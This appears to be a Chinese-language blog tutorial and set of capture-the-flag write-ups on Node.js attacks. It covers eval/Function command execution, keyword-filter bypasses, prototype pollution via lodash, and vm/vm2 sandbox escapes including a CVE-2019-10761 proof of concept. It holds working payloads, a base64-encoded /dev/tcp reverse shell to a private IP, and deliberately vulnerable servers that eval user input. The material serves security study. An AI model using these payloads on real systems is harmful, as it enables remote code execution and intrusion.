危险函数命令执行
在nodejs中,也存在一些命令执行函数,如果代码中调用了这些危险函数,并且危险函数的参数是用户可控的,那么就可能造成RCE
eval
通过eval,我们可以调用require('child_process').exec('')
来进行命令执行,因为这个函数调用的是bash.sh
,此时会返回一个bash解释器。
var express=require('express');
var app=express();
app.get('/admin',function (req, res){
res.send(eval(req.query.shell));
console.log(req.query.shell);
})
var server=app.listen(8888,function (){
console.log('服务器:http://127.0.0.1:8888')
})
在windows中,我们用计算器测试一下:

可以弹计算器,如果环境是在linux系统下,那么我们就可以进行RCE了,但是我们知道,exec函数是没有回显的,所以可以利用dns外带,比如:

可以看到代码执行成功,还是老问题,dns外带数据是有限的,所以需要利用sed -n 'np'
来多次读取,我们也可以直接反弹shell:
admin?shell=require('child_process').exec('echo YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjMyLjEzMC84ODg4IDA%2BJjE=|base64 -d|bash'); #require('child_process').exec('echo bash -i >& /dev/tcp/192.168.32.130/8888 0>&1|bash');

可以看到反弹成功,base64编码的原因是直接输入命令会报Invalid or unexpected token
的错误,在base64编码后会有+
号,此时浏览器会识别为空格,所以需要url编码把+
号编码一下。
Function
可以进行命令执行的危险函数还有:Function
,这就相当于php中的create_function
,但是调用此方法利用require进行包含就会失效,这是因为Function创建的函数运行在一个独立的作用域中,不会继承当前模块的作用域。这导致在该函数内部无法直接访问当前模块的变量或模块。我们可以利用global去加载child_process
:global.process.mainModule.constructor._load('child_process').exec('calc')

可以看到成功执行命令,这也给出了对于require过滤的绕过。
一些waf
在一些入门题目中,肯定会将我们传入的参数进行检查,主要应该就是对于关键字的检查,这里我们绕过方法就类似于python中沙箱里一些waf的绕过方法,就比如16进制绕过、unicode编码绕过、字符连接绕过等等,这里字符连接时,由于+号会被识别为空格,所以需要url编码。
假如我们过滤exec函数:
var express=require('express');
var app=express();
var waf=RegExp(/exec/);
app.get('/admin',function (req, res){
if (req.query.shell.toString().match(waf)){
res.send('hacker')
}
else {
res.send(Function(req.query.shell)());
console.log(req.query.shell);
}
})
var server=app.listen(8888,function (){
console.log('服务器:http://127.0.0.1:8888')
})
16进制
admin?shell=global.process.mainModule.constructor._load('child_process')['\x65\x78\x65\x63']('calc')
unicode
admin?shell=global.process.mainModule.constructor._load('child_process')['\u0065\u0078\u0065\u0063']('calc')
字符连接
admin?shell=global.process.mainModule.constructor._load('child_process')['exe'%2b'c']('calc')
模版字
利用`·`和占位符可以构造出模版字,就比如构造exec:
xxxxxxxxxx admin?shell=global.process.mainModule.constructor._load('child_process')[`${`${`exe`}c`}`]('calc')
Object.values
我们可以知道,我们直接包含子进程模块那么就会返回一个其实现方法的字典,我们利用Object.values
取得此字典的值,也就是方法的实现,key只是方法名,那么就可以通过数字来取得执行方法

就比如这里我想调用exec,我们发现它的位置是2,当然在web服务器上由于我们的传参是字符串,所以无法直接看到可利用方法,但是我们可以直接爆破,所以可以进行以下利用:
admin?shell=Object.values(require('child_process'))[2]('calc')
反射
node.js反射基本原理就是利用Reflect关键字,通过ownKeys方法拿到global全局函数,再调用find方法找到我们需要调用的方法即可:
global[Reflect.ownKeys(global).find(x=>x.includes('ev'))]
这里我们可以直接获取到执行函数,当然,如果这里过滤了中括号不能利用global获取到eval,我们可以利用Reflect.get替换:
Reflect.get(global,Reflect.ownKeys(global).find(x=>x.includes('ev')))
[GFCTF 2021]ez_calc
感觉这题主要就是考了nodejs的一些特性,对于字符的大小写转换,我们有toLowerCase
和toUpperCase
两个函数,但是在转换时,字符ı
转化为大写是I
,字符ſ
转换为大写是S
,字符K
转换为小写是k
,具体可以看看P牛
所以对于这道题的判断:
if(req.body.username.toLowerCase() !== 'admin' && req.body.username.toUpperCase() === 'ADMIN' && req.body.passwd === 'admin123')
可以直接利用此特性绕过
源码:
let calc = req.body.calc;
let flag = false;
//waf
for (let i = 0; i < calc.length; i++) {
if (flag || "/(flc'\".".split``.some(v => v == calc[i])) {
flag = true;
calc = calc.slice(0, i) + "*" + calc.slice(i + 1, calc.length);
}
} //传入的参数只要包含/(flc'".中的任意一个字符那么此字符以及之后的字符都会被替换为*
//截取
calc = calc.substring(0, 64);
//去空
calc = calc.replace(/\s+/g, "");//替换空格
calc = calc.replace(/\\/g, "\\\\");//替换分隔符
//小明的同学过滤了一些比较危险的东西
while (calc.indexOf("sh") > -1) {
calc = calc.replace("sh", "");
}
while (calc.indexOf("ln") > -1) {
calc = calc.replace("ln", "");
}
while (calc.indexOf("fs") > -1) {
calc = calc.replace("fs", "");
}
while (calc.indexOf("x") > -1) {
calc = calc.replace("x", "");
}
try {
result = eval(calc);
}
我们可以看到,只要绕过前面的waf就能执行我们传入的代码。对于第一个waf,如果我们传入数组,在数组最后一个元素传入过滤的字符,那么总会有数组长度个字符会逃逸出来

由于有长度限制,我们知道根目录的文件,我们利用spawnSync去直接读取是读不完的,我们利用Object.values找到exec然后利用重定向写进文件再利用spawnSync读取:

calc[]=Object.values(require('child_process'))[2]('cat${IFS}/G*>g')&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.
calc[]=require('child_process').spawnSync('nl',['g']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.
[西湖论剑 2022]Node Magical Login
源码:
const fs = require("fs");
const SECRET_COOKIE = process.env.SECRET_COOKIE || "this_is_testing_cookie"
const flag1 = fs.readFileSync("/flag1")
const flag2 = fs.readFileSync("/flag2")
function LoginController(req,res) {
try {
const username = req.body.username
const password = req.body.password
if (username !== "admin" || password !== Math.random().toString()) {
res.status(401).type("text/html").send("Login Failed")
} else {
res.cookie("user",SECRET_COOKIE)
res.redirect("/flag1")
}
} catch (__) {}
}
function CheckInternalController(req,res) {
res.sendFile("check.html",{root:"static"})
}
function CheckController(req,res) {
let checkcode = req.body.checkcode?req.body.checkcode:1234;
console.log(req.body)
if(checkcode.length === 16){
try{
checkcode = checkcode.toLowerCase()
if(checkcode !== "aGr5AtSp55dRacer"){
res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
}
}catch (__) {}
res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
}else{
res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
}
}
function Flag1Controller(req,res){
try {
if(req.cookies.user === SECRET_COOKIE){
res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
res.status(200).type("text/html").send("Login success. Welcome,admin!")
}
if(req.cookies.user === "admin") {
res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
}else{
res.status(401).type("text/html").send("Unauthorized")
}
}catch (__) {}
}
module.exports = {
LoginController,
CheckInternalController,
Flag1Controller,
CheckController
}
我们审计一下代码,只需要cookie中user=SECRET_COOKIE就能拿到flag1,在登录页面提示admin,猜测SECRET_COOKIE为admin,然后抓包可以拿到第一个flag:

我们再访问flag2的页面,很显然会触发CheckController,这里我们需要绕过if(checkcode !== "aGr5AtSp55dRacer")
,由于在这之前有checkcode = checkcode.toLowerCase()
,只要我们让这个语句抛出异常,那么就能跳出,我们知道toLowerCase()
遇到数组会抛出异常,所以传入长度为16的数组即可,注意是需要json

原型链污染
关于prototype
和__proto__
__proto__
是任何一个对象拥有的属性
prototype
是任何一个函数或类拥有的一个属性
也就是说,对象的__proto__
属性实际上就指向函数的prototype
属性,当我们为函数创建了一个对象后,我们要访问某属性,对象会先访问自己的构造函数的属性,如果没有,就调用__proto__
去访问其继承的父类属性,这样一直往上查找,最终到null为止。

污染
实际上,在寻找属性过程中,都会经过Object.prototype
,就比如:

我们可以看到B在没有找到属性a的情况下去Object.prototype
中找到了a,所以我们可以利用Object.prototype
达到污染的效果,我们现在有了merge复制函数如果source可控,那么:

__proto__是已经存在于B中的属性了,解析器并不能将这个属性解析为键值,利用JSON可以将字符串转化为对象,进而解析
可以看到此时Object.prototype
已经被污染。
Lodash 模块
当lodash模块版本<4.17.12时,将会存在原型链污染,比如:
const mergeT = require('lodash').defaultsDeep;
const payload = '{"__proto__":{"whoami": "hshdgyq"}}'
function check() {
mergeT({}, JSON.parse(payload));
console.log("ok")
}
check();
这里就是导入的lodash模块中的defaultsDeep来进行复制操作,这里通过恶意构造卡就能实现污染:

配合几种模块可以看看:https://www.anquanke.com/post/id/248170#h2-10
[GYCTF2020]Ez_Express
扫下目录,发现源码www.zip,先是一个登录页面,这里绕过参照上面的ez_calc,逻辑很简单,在代码中我们发现了merge函数,就可以猜测到可能是原型链的污染,关键代码:
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})
在action路由下会将我们上传的参数复制给{}
,而其原型就是Object.prototype
,再看info路由,利用render函数将outputFunctionName
进行模版渲染,我们知道在模版渲染中会执行代码,那么我们下一步就需要确定outputFunctionName
是否存在:
router.get('/', function (req, res) {
if(!req.session.user){
res.redirect('/login');
}
res.outputFunctionName=undefined;
res.render('index',data={'user':req.session.user.user});
});
很明显,此属性是未被定义的,那么我们就可以将其污染进Object.prototype
,配合命令执行即可,需要注意的是,前面讲到了需要JSON.parse
将字符串转换为对象才能将__proto__
解析为键值,这里是直接获取的数据,所以我们需要将包修改一下Content-Type: application/json
,这样在调用res.outputFunctionName
时,实际上调用的就是我们污染到的属性了。
总之就是在调用没有定义的属性时,我们去污染掉Object.prototype
中的属性即可。
chall_4
关键源码:
app.get('/admin', (req, res) => {
/*this is under development I guess ??*/
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
}
else {
res.send("TRY YOUR BEST!HACKER");
// res.status(403).send('Forbidden');
}
}
)
app.post('/api', (req, res) => {
var client = req.body;
var winner = null;
if (client.row > 3 || client.col > 3){
client.row %= 3;
client.col %= 3;
}
matrix[client.row][client.col] = client.data;
console.log(matrix);
很显然,这里的admintoken是没有定义的,然后这里就可以想到原型链污染,这里就可以直接去污染这个属性,然后这个属性的md5值等于我们上传的querytoken即可。这里我们很容易发现在api路由里,将检测到的row和col参数用data赋值,那么就可以直接利用数组进行污染,这里规避了常规的merge或clone,然后访问admin,输入md5即可,payload:
/api
{"row":"__proto__","col":"admintoken","data":"hsh"}
/admin
?querytoken=e41d7fc6c2d2aa7e9346663340f5202f
blueprint
我们直接审计源码,在源码中可以找到这样一段代码:
http.createServer((req, res) => {
let userId = parseUserId(req.headers.cookie)
let user = users.get(userId)
if (userId === null || user === undefined) {
// create user if one doesnt exist
userId = makeId()
const bpProto = {}
const flagBp = {
content: flag,
}
flagBp.constructor = {prototype: bpProto}
flagBp.__proto__ = bpProto
user = {
bpProto,
blueprints: {
[makeId()]: flagBp,
},
}
users.set(userId, user)
}
// send back the user id
res.writeHead(200, {
'set-cookie': 'user_id=' + encodeURIComponent(userId) + '; Path=/',
})
if (req.url === '/' && req.method === 'GET') {
// list all public blueprints
res.end(mustache.render(indexTemplate, {
blueprints: Object.entries(user.blueprints).map(([k, v]) => ({
id: k,
content: v.content,
public: v.public,
})),
}))
}
在访问跟路由时,会将所有public都罗列出来,并且我们发现flag其实是存放在content中的,那么如果是public用户就能拿到flag,继续往下看:
else if (req.url === '/make' && req.method === 'POST') {
// API used by the creation page
getRawBody(req, {
limit: '1mb',
}, (err, body) => {
if (err) {
throw err
}
let parsedBody
try {
// default values are easier to do than proper input validation
const mergeObj = {}
mergeObj.constructor = {prototype: user.bpProto}
mergeObj.__proto__ = user.bpProto
parsedBody = _.defaultsDeep(mergeObj, JSON.parse(body))
} catch (e) {
res.end('bad json')
return
}
在make路由调用了lodash模块中的defaultsDeep进行复制,那么就能想到有可能就是原型链污染了,但是直接用burp抓包改包似乎不太行,按道理应该是可以直接改包的,这里利用python可以成功:
import requests
url = "http://127.0.0.1"
data= {
"constructor":{
"prototype":{
"public":True
}
}
}
session = requests.session()
r = session.post(url = url + "/make", json = data)
r = session.get(url = url)
print(r.text)
沙箱逃逸
什么是沙箱
当我们运行一些可能会产生危害的程序,我们不能直接在主机的真实环境上进行测试,所以可以通过单独开辟一个运行代码的环境,它与主机相互隔离,但使用主机的硬件资源,我们将有危害的代码在沙箱中运行只会对沙箱内部产生一些影响,而不会影响到主机上的功能,沙箱的工作机制主要是依靠重定向,将恶意代码的执行目标重定向到沙箱内部。
vm沙箱逃逸
沙箱逃逸的主要思想就是通过获取process对象来进行rce,就比如:
const vm = require('vm');
var v1=vm.runInNewContext(`this.constructor.constructor('return process')()`);
v1.mainModule.require('child_process').execSync('calc')
我们通过传递给runInNewContext
的对象(this)去获取其构造器,再向上获取构造器此时此构造器也就是Function的constructor,通过()也就可以执行函数,返回一个process对象。当然直接利用tostring的构造器也是一样,道理相同。

如果我们已经有了这样一个沙箱对象:
const vm = require('vm');
const sandbox={a:1,b:2};
const context=new vm.createContext(sandbox);
const script=`a+b`;
console.log(vm.runInContext(script,context)) //3
那么我们直接利用this是肯定能成功的,如果用{}
呢?,因为这里的沙箱对象本来就是一个{}
对象,但是是不行的,因为 {}
的意思是在沙箱内声明了一个对象,也就是说这个对象是不能访问到global下的。只在沙箱内有效。换成a、b同样是不行的,因为数字,字符串,布尔这些都是primitive类型,他们在传递的过程中是将值传递过去而不是引用(类似于函数传递形参),改成其他类型可以。

如果现在的this是null呢?就比如:
const vm = require('vm');
const sandbox=Object.create(null)
console.log(sandbox)
const context=new vm.createContext(sandbox);
const script=`this.constructor.constructor('return process')()`;
v1=vm.runInContext(script,context)
console.log(v1.mainModule.require('child_process').execSync('calc'))
此时就会报错,因为此时没有可引用的对象,这时候可以利用arguments.callee.caller
进行逃逸,此方法可以返回函数的调用者。实际上沙箱逃逸其实就是找到一个沙箱外的对象,并调用其中的方法,我们只要在沙箱内定义一个函数,然后在沙箱外调用这个函数,那么这个函数的arguments.callee.caller
就会返回沙箱外的一个对象,我们在沙箱内就可以进行逃逸了。
const vm = require('vm');
const sandbox=Object.create(null)
const context=new vm.createContext(sandbox);
const script=`(() => {
const a = {}
a.toString = function () {
const obj = arguments.callee.caller;
const p = (obj.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('calc').toString()
}
return a
})()`;
v1=vm.runInContext(script,context)
console.log('hello'+v1)
这里我们自己创建一个对象,然后重写这个对象的toString方法,通过arguments.callee.caller
拿到这个对象,然后就能拿到process执行命令了。

但是,在测试的时候,我发现如果不是与字符串连接,也就是说无法直接触发toString,那怎么办呢,这里就要用到Proxy来劫持属性了。
proxy劫持
proxy语法:
let proxy = new Proxy(target, handler)
//target —— 是要包装的对象,可以是任何东西,包括函数。
//handler —— 代理配置:带有“钩子”(“traps”,即拦截操作的方法)的对象。比如 get 钩子用于读取 target 属性,set 钩子写入 target 属性等等。
对 proxy
进行操作,如果在 handler
中存在相应的钩子,则它将运行,并且 Proxy 有机会对其进行处理,否则将直接对 target 进行处理。就比如:

这里没有钩子,所以对于代理的所有操作都直接转发给target。
如果有钩子,实际上就是先将请求拦截,然后把请求交给钩子函数处理,就好像是装饰器,就比如:
let test=[1,2,3]
test=new Proxy(test,{
get(target,numb){
if (numb in target){
return target[numb];
}else {
return "no";
}
}
})
console.log(test[1])
console.log(test[111])

set钩子:
var test=[]
test=new Proxy(test,{
set(target,numb,value){
if (typeof value==='number'){
target[numb]=value;
return true
}else {
return false;
}
}
})
test.push(520)
console.log(test)
test.push("hsh")
console.log(test)
在插入的值不为数字时就会报错。还有其他钩子,具体可以看看:https://juejin.cn/post/6844904090116292616
const vm = require('vm');
const sandbox=Object.create(null)
const context=new vm.createContext(sandbox);
const script=`(() =>{
const a = new Proxy({}, {
get: function(){
const obj = arguments.callee.caller;
const p = (obj.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('calc');
}
})
return a
})()`;
v1=vm.runInContext(script,context)
console.log(v1[1])

当然,我们如果利用代理,那么是不是可以直接劫持异常的抛出呢?
const vm = require('vm');
const sandbox=Object.create(null)
const context=new vm.createContext(sandbox);
const script=`throw new Proxy({}, {
get: function(){
const obj = arguments.callee.caller;
const p = (obj.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('calc');
}
})`;
try {
vm.runInContext(script,context)
}catch (e){
console.log('error'+e)//console.log(e.anything)
}
这里捕获到抛出的异常对象后,异常对象与字符串拼接再次抛出异常,也就执行了我们插入的代码,当然这里访问异常的任意属性也会直接触发get钩子。
vm2沙箱
vm隔离功能很弱,以上方法都可以将代码逃逸出来,于是有了vm2,比于vm的沙箱环境,vm2最重要的一步就是引入sandbox.js
并针对context做封装。
实际上感觉就是对vm做了一定量的防护,但是还是有一些漏洞,感觉漏洞都挺抽象的,但是原理都是通过一些手段,从沙箱外获取一个对象,然后通过此对象进行rce
CVE-2019-10761
当vm2版本<=3.6.10时,就存在此漏洞,实际上就是在沙箱内不断递归一个函数,当递归次数超过当前环境的最大值时,我们正好调用沙箱外的函数,就会导致沙箱外的调用栈被爆掉,我们在沙箱内catch这个异常对象,就拿到了一个沙箱外的对象。
"use strict";
const {VM} = require('vm2');
const untrusted = `
const f = Buffer.prototype.write;
const ft = {
length: 10,
utf8Write(){
}
}
function r(i){
var x = 0;
try{
x = r(i);
}catch(e){}
if(typeof(x)!=='number')
return x;
if(x!==i)
return x+1;
try{
f.call(ft);
}catch(e){
return e;
}
return null;
}
var i=1;
while(1){
try{
i=r(i).constructor.constructor("return process")();
break;
}catch(x){
i++;
}
}
i.mainModule.require("child_process").execSync("calc").toString()
`;
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
参考
- https://xz.aliyun.com/t/11859?time__1311=mqmx0DBD9DyDuBYD%2FQbiQQLwp68KhpD&alichlgref=https%3A%2F%2Fwww.google.com%2F#toc-0
- https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Inheritance_and_the_prototype_chain#%E4%BD%BF%E7%94%A8%E4%B8%8D%E5%90%8C%E7%9A%84%E6%96%B9%E6%B3%95%E6%9D%A5%E5%88%9B%E5%BB%BA%E5%AF%B9%E8%B1%A1%E5%92%8C%E7%94%9F%E6%88%90%E5%8E%9F%E5%9E%8B%E9%93%BE
- https://juejin.cn/post/6844904090116292616
- https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript
- https://www.anquanke.com/post/id/248170#h2-10
Comments | NOTHING